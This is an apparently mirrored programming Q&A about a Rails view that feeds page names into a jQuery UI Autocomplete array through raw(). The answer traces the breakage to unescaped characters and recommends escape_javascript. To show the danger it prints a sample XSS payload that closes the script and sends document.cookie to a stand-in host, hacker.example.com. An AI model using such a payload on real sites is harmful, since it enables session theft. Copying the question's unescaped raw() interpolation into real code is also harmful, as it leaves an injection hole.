简体   繁体   中英

Ordering input by DESC breaks jQuery UI Autocomplete

I'm trying to input a table Page into jQuery UI Autocomplete. If I input it with Page.order('id ASC') it works perfectly, but if I input it with Page.order('id DESC') it breaks, even though the line

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")

executes error-free in my rails console. It even breaks another jQuery UI Autocomplete further down the same page, so I think the jQuery itself must be failing.

It also prints error-free in my page source both times.

Anyone have any idea why it fails in this context?

  <head>
    <meta charset="utf-8">
    <title>jQuery UI Autocomplete - Multiple values</title>
    <link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
    <script src="//code.jquery.com/jquery-1.10.2.js"></script>
    <script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
    <link rel="stylesheet" href="/resources/demos/style.css">
    <script>
    $(function() {
      var availableTags = [
        <%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
      ];
      function split( val ) {
        return val.split( /,\s*/ );
      }
      function extractLast( term ) {
        return split( term ).pop();
      }

      $( "#pages" )
        // don't navigate away from the field on tab when selecting an item
        .bind( "keydown", function( event ) {
          if ( event.keyCode === $.ui.keyCode.TAB &&
              $( this ).autocomplete( "instance" ).menu.active ) {
            event.preventDefault();
          }
        })
        .autocomplete({
          minLength: 0,
          source: function( request, response ) {
            // delegate back to autocomplete, but extract the last term
            response( $.ui.autocomplete.filter(
              availableTags, extractLast( request.term ) ) );
          },
          focus: function() {
            // prevent value inserted on focus
            return false;
          },
          select: function( event, ui ) {
            var terms = split( this.value );
            // remove the current input
            terms.pop();
            // add the selected item
            terms.push( ui.item.value );
            // add placeholder to get the comma-and-space at the end
            terms.push( "" );
            this.value = terms.join( ", " );
            return false;
          }
        });
    });
    </script>
  </head>

  <div class="ui-widget">
    <textarea id="pages" name="pages" size="50"></textarea>
  </div><br>

Do you have more than 1000 Page records in your database? You might be selecting a different set of pages, one of which could have a title like

How to use "quotation" marks

or

Tabs    slashes \\\ & special characters @%*(!@#😱

or worse

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>

These will get inserted into your JS directly, like:

$(function() {
  var availableTags = [
    "How to use "quotation" marks",
    "Tabs    slashes \\\ & special characters @%*(!@#😱",
    ""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
  ];
...

All of these are bad. The first two can break the script because things like quotations and slashes are not allowed in the middle of a string without proper escaping as \\" and \\\\ .

Rails provides a convenient function called escape_javascript , which is also aliased as j , that you can use to escape JavaScript code. Eg data = "<%=j 'a"b"c' %>"; will output data = "a\\"b\\"c";

I would update your loop generating the availableTags array to use this method:

var availableTags = [
  <%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
  ];

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM